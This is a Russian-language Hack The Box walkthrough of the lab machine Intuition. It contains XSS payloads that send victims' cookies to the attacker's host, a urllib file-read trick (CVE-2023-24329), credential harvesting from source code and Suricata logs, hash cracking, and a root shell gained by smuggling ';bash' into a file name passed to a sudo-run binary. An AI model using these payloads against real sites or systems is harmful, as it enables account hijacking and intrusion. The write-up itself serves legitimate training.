Се­год­ня я покажу, как повысить пра­ва в Linux через уяз­вимость в ран­нере Ansible. Но преж­де нам понадо­бит­ся заюзать XSS на сай­те сна­чала для получе­ния дос­тупа к стра­нице поль­зовате­ля, а потом для повыше­ния при­виле­гий. Затем исполь­зуем прош­логод­ний баг в биб­лиоте­ке urllib, что­бы читать фай­лы на сер­вере, а для прод­вижения к дру­гому поль­зовате­лю изу­чим логи Suricata.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Intuition с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — слож­ный.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.15 intuition.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

Так­же отме­чаем, что веб‑сер­вер на 80-м пор­те редирек­тит на домен comprezzor.htb, поэто­му добавим его в файл /etc/hosts.

10.10.11.15 intuition.htb comprezzor.htb

Пе­рехо­дим к сай­ту на веб‑сер­вере и сра­зу получа­ем фор­му для заг­рузки фай­лов.

Главная страница сайта
Глав­ная стра­ница сай­та

Точка входа

Ни­же на стра­нице есть ссыл­ка на фор­му, куда мож­но отправ­лять информа­цию о най­ден­ных багах.

Информация для связи
Ин­форма­ция для свя­зи

Ссыл­ка ведет на сайт report.comprezzor.htb, поэто­му, преж­де чем идти смот­реть на него, сно­ва добавим запись в файл /etc/hosts.

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb
Главная страница сайта report.comprezzor.htb
Глав­ная стра­ница сай­та report.comprezzor.htb

Так как мы уже наш­ли сайт на под­домене report, есть смысл проб­рутить под­домены по спис­ку: так мы смо­жем най­ти еще боль­ше сай­тов, а соот­ветс­твен­но, и боль­ше точек вхо­да. Под­бирать под­домены будем с помощью ути­литы ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -H — HTTP-заголо­вок.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

За­даем все нуж­ные парамет­ры:

ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

В вывод прог­раммы попада­ют абсо­лют­но все сло­ва из спис­ка, поэто­му необ­ходимо добавить филь­тр, нап­ример по раз­меру стра­ницы (параметр -fs).

ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256 -fs 178
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

На­ходим еще два под­домена. Обновля­ем запись в фай­ле /etc/hosts и наконец идем смот­реть сай­ты.

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb

На auth.comprezzor.htb нас встре­чает фор­ма авто­риза­ции, а dashboard.comprezzor.htb недос­тупен даже пос­ле регис­тра­ции и авто­риза­ции.

Главная страница auth.comprezzor.htb
Глав­ная стра­ница auth.comprezzor.htb

Ку­да инте­рес­нее фор­ма отправ­ки отче­тов, так как ее мож­но потес­тировать на раз­ные уяз­вимос­ти.

Форма отправки отчетов
Фор­ма отправ­ки отче­тов

По логике, если отчет кто‑то прос­матри­вает, мы можем поп­робовать про­экс­плу­ати­ровать уяз­вимость XSS. Для это­го запус­тим локаль­ный веб‑сер­вер:

python3 -m http.server

И отпра­вим наг­рузку, которая дол­жна будет выпол­нить зап­рос на этот веб‑сер­вер.

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />
Форма отправки отчетов
Фор­ма отправ­ки отче­тов
Логи веб-сервера
Ло­ги веб‑сер­вера

На веб‑сер­вер при­шел зап­рос, а зна­чит, на сай­те есть XSS. Недол­го думая, поп­робу­ем ста­щить куки поль­зовате­ля.

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Логи веб-сервера
Ло­ги веб‑сер­вера

В логах появ­ляет­ся длин­ная стро­ка. Заг­ружа­ем куки в бра­узер, пометив, что они пред­назна­чены для сай­та dashboard, и перехо­дим на этот сайт.

Главная страница сайта dashboard.comprezzor.htb
Глав­ная стра­ница сай­та dashboard.comprezzor.htb

Точка опоры

Повышение привилегий

На стра­нице мы можем смот­реть сами отче­ты, перехо­дя по ссыл­кам в Report ID. При этом на стра­нице самого отче­та мож­но повысить его при­ори­тет.

Страница отчета
Стра­ница отче­та

При повыше­нии при­ори­тета отче­та, веро­ятно, его будет изу­чать уже адми­нис­тра­тор. А зна­чит, мы смо­жем пов­торить трюк с XSS и получить cookie. Откро­ем отчет и повысим его при­ори­тет, и, ког­да адми­нис­тра­тор перей­дет к нему, мы получим его куки.

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Повышение приоритета отчета
По­выше­ние при­ори­тета отче­та
Логи веб-сервера
Ло­ги веб‑сер­вера

При­меня­ем куки в хра­нили­ще бра­узе­ра Chrome и обновля­ем стра­ницу. Теперь нам дос­тупен дру­гой даш­борд, а так­же нес­коль­ко новых фун­кций.

Панель администратора сайта
Па­нель адми­нис­тра­тора сай­та

Од­на из инте­рес­ных воз­можнос­тей — это сос­тавле­ние отче­та в PDF по пре­дос­тавлен­ному URL.

Пер­вой моей иде­ей было про­верить, нет ли тут SSRF, и поп­робовать ста­щить локаль­ные фай­лы через схе­му file:///. Прав­да, это резуль­татов не дало.

Страница создания PDF-файлов
Стра­ница соз­дания PDF-фай­лов

Поп­робу­ем прис­лать тес­товый зап­рос на свой лис­тенер. Запус­тим его:

nc -nlvp 8000

Об­рати вни­мание на исполь­зуемую на сер­вере биб­лиоте­ку — Python-urllib/3.11. Ее мож­но уви­деть в HTTP-заголов­ке User-Agent.

Запрос с сервера
Зап­рос с сер­вера

В этой биб­лиоте­ке в прош­лом году наш­ли уяз­вимость CVE-2023-24329.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Я поис­кал экс­пло­иты в Google и лег­ко отыс­кал под­ходящий. Если URL будет начинать­ся с про­бела, то мы смо­жем читать локаль­ные фай­лы через « file:///».

Получение содержимого файла /etc/passwd
По­луче­ние содер­жимого фай­ла /etc/passwd

LFI

Так как мы работа­ем с при­ложе­нием на Python, хорошо бы взгля­нуть на исходный код. А для это­го нуж­но знать, где в фай­ловой сис­теме находит­ся при­ложе­ние. Давай гля­нем файл /proc/self/cmdline — там содер­жится коман­дная стро­ка для текуще­го про­цес­са.

Содержимое /proc/self/cmdline
Со­дер­жимое /proc/self/cmdline

Та­ким обра­зом, для стар­та при­ложе­ния запус­кает­ся файл /app/code/app.py. Получим его содер­жимое.

Содержимое файла app.py
Со­дер­жимое фай­ла app.py

По­мимо сек­рета Flask, нас инте­ресу­ют импорты, которые ука­зыва­ют на дру­гие питонов­ские фай­лы это­го при­ложе­ния:

По­оче­ред­но прос­матри­ваем фай­лы и оста­нав­лива­емся вот на этом:

/app/code/blueprints/dashboard/dashboard.py

В исходном коде есть учет­ные дан­ные для под­клю­чения к FTP-сер­веру.

Содержимое файла dashboard.py
Со­дер­жимое фай­ла dashboard.py

Ви­димо, на хос­те работа­ет локаль­ный FTP-сер­вер. Через SSRF мы можем к нему под­клю­чить­ся.

ftp://ftp_admin:u3jai8y71s2@ftp.local/
Файл на FTP-сервере
Файл на FTP-сер­вере

На FTP-сер­вере находим при­ват­ный ключ, файл PDF и какую‑то запис­ку. Про­чита­ем запис­ку welcome_note.txt.

ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
Содержимое файла welcome_note.txt
Со­дер­жимое фай­ла welcome_note.txt

В запис­ке находим пароль для клю­ча SSH. Теперь чита­ем сам при­ват­ный ключ private-8297.key.

ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Содержимое файла private-8297.key
Со­дер­жимое фай­ла private-8297.key

Итак, у нас есть ключ SSH и пароль для него. Но ни к одно­му поль­зовате­лю из фай­ла /etc/passwd он не подошел. Тог­да дос­танем эту информа­цию из самого клю­ча.

ssh-add id_rsa
Пользователь SSH
Поль­зователь SSH

От име­ни поль­зовате­ля dev_acc под­клю­чаем­ся к сер­веру и забира­ем пер­вый флаг.

ssh -i id_rsa dev_acc@10.10.11.15
Флаг пользователя
Флаг поль­зовате­ля

Продвижение

Те­перь нам необ­ходимо соб­рать информа­цию. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на уда­лен­ный хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го все­го, выберем толь­ко важ­ную информа­цию.

У веб‑при­ложе­ния есть файл базы дан­ных users.db.

Список файлов баз данных
Спи­сок фай­лов баз дан­ных

На хос­те обновля­ются логи Suricata.

Последние модифицированные файлы
Пос­ледние модифи­циро­ван­ные фай­лы

Пе­рехо­дим к катало­гу веб‑при­ложе­ния blueprints и чита­ем фай­лы .sql, что­бы понимать струк­туры баз и таб­лиц. Пер­вым делом про­веря­ем фай­лы для базы users.

Содержимое файла users.sql
Со­дер­жимое фай­ла users.sql

В таб­лице users все­го четыре стол­бца: иден­тифика­тор, имя поль­зовате­ля, пароль (ско­рее все­го, хеш) и роль. Чита­ем файл users.db и пар­сим из него хеши:

adam : sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43 (webdev)
admin : sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606 (admin)
Содержимое файла users.db
Со­дер­жимое фай­ла users.db

От­прав­ляем получен­ные хеши на брут и спус­тя минуту получа­ем один пароль.

hashcat hashes.txt rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

С новыми учет­ными дан­ными никуда не зай­ти. Вспо­мина­ем про FTP-сер­вер и про­буем авто­ризо­вать­ся как поль­зователь adam.

ftp adam@127.0.0.1
Файлы на FTP-сервере
Фай­лы на FTP-сер­вере

В ито­ге находим каталог backup, который содер­жит исходные коды какого‑то ран­нера. Ска­чива­ем все фай­лы через коман­ду get.

Содержимое каталога backup
Со­дер­жимое катало­га backup

Так­же не оставля­ем без вни­мания и логи Suricata в катало­ге /var/log/suricata/. Там могут прос­каль­зывать учет­ные дан­ные и дру­гая инте­рес­ная информа­ция.

Содержимое каталога /var/log/suricata/
Со­дер­жимое катало­га /var/log/suricata/

Про­буем гре­пать все логи по сло­ву login. Для обыч­ных фай­лов исполь­зуем grep, для архи­вов — zgrep.

grep -iR login ./
zgrep -i login *.gz
Логи Suricata
Ло­ги Suricata

В архи­ве видим лог с неудач­ной авто­риза­цией на FTP-сер­вере. Про­верим толь­ко архи­вы, при этом отфиль­тру­ем ответ «FTP Failed Login Attempt».

zgrep -i login *.gz | grep -v 'FTP Failed Login Attempt'
Логи Suricata
Ло­ги Suricata

На­ходим оче­ред­ную пару логин — пароль, с которой уже получа­ем сес­сию поль­зовате­ля SSH.

Сессия пользователя
Сес­сия поль­зовате­ля

Локальное повышение привилегий

Мы сме­нили кон­текст поль­зовате­ля, а зна­чит, нуж­но про­верить дос­тупные фай­лы с выс­тавлен­ным битом SUID и нас­трой­ки sudoers. При этом коман­да id уже показа­ла, что поль­зователь lopez сос­тоит в груп­пе sys-adm.

Настройки sudoers
Нас­трой­ки sudoers

Из фай­ла /etc/sudoers сле­дует, что мы можем запус­тить бинарь /opt/runner2/runner2 от име­ни поль­зовате­ля root. Выпол­ним тес­товый запуск и про­верим вывод прог­раммы.

Запуск runner2
За­пуск runner2

Та­ким обра­зом, при­ложе­ние ожи­дает файл JSON. Мы уже встре­чали исходные коды с подоб­ным наз­вани­ем, поэто­му про­ана­лизи­руем их.

На­чина­ем с фай­ла run-tests.sh, который пред­назна­чен для запус­ка пер­вой вер­сии ран­нера. Пер­вая вер­сия при­нима­ет все парамет­ры через коман­дную стро­ку и не исполь­зует для это­го файл JSON.

Содержимое файла run-tests.sh
Со­дер­жимое фай­ла run-tests.sh

В исходном коде встре­чаем обра­зован­ный от пароля хеш MD5, который дол­жен переда­вать­ся при­ложе­нию в парамет­ре -a.

Содержимое файла runner1.c
Со­дер­жимое фай­ла runner1.c

Мы зна­ем боль­шую часть пароля, оста­лось переб­рать все­го четыре сим­вола. Hashcat очень лег­ко спра­вил­ся с этой задачей. Для перебо­ра по мас­ке нуж­но исполь­зовать параметр -a 3.

hashcat -a 3 -m 0 '0feda17076d793c2ef2870d7427ad4ed' UHI75GHI?u?u?u?u
Результат перебора хеша
Ре­зуль­тат перебо­ра хеша

Па­роль для запус­ка у нас есть, будем наде­ять­ся, что он остался тем же и во вто­рой вер­сии ран­нера. В фун­кции находим спи­сок воз­можных команд (стро­ка 65): list, run и install.

Содержимое файла runner1.c
Со­дер­жимое фай­ла runner1.c

По коман­де list мы прос­то получим спи­сок фай­лов YAML из катало­га /opt/playbooks (стро­ки 31–49). Коман­ды run и install c помощью фун­кции snprintf сфор­миру­ют стро­ку и переда­дут для выпол­нения в коман­дную обо­лоч­ку через фун­кцию system (стро­ки 51–61).

Содержимое файла runner1.c
Со­дер­жимое фай­ла runner1.c

По­доб­ный вызов фун­кции system очень опа­сен, так как мы можем передать кон­вей­ер команд и про­экс­плу­ати­ровать инъ­екцию команд ОС.

По стро­кам из фай­ла runner мы можем вос­ста­новить при­мер­ную конс­трук­цию фай­ла JSON:

Для тес­та выпол­ним коман­ду list. Для это­го соз­дадим файл test.json и запус­тим ран­нер.

{
"run":{
"action":"list"
},
"auth_code":"UHI75GHINKOP"
}
Результат выполнения команды list
Ре­зуль­тат выпол­нения коман­ды list

Ко­ман­да выпол­нена успешно, а зна­чит, фор­мат фай­ла подоб­ран вер­но. Теперь перей­дем к внед­рению коман­ды. Коман­де install будем переда­вать архив, в име­ни которо­го уже будет кон­вей­ер команд, запус­кающий коман­дную обо­лоч­ку bash.

mkdir root
tar -vcfr root.tar.gz root
mv root.tar.gz 'root.tar.gz;bash'

Ис­поль­зуем сле­дующий кон­фиг и выпол­няем ран­нер. Пос­ле обра­бот­ки кон­фига получа­ем сес­сию в при­виле­гиро­ван­ном кон­тек­сте.

{
"run":{
"action":"install",
"role_file":"root.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}
Флаг рута
Флаг рута

Ма­шина зах­вачена!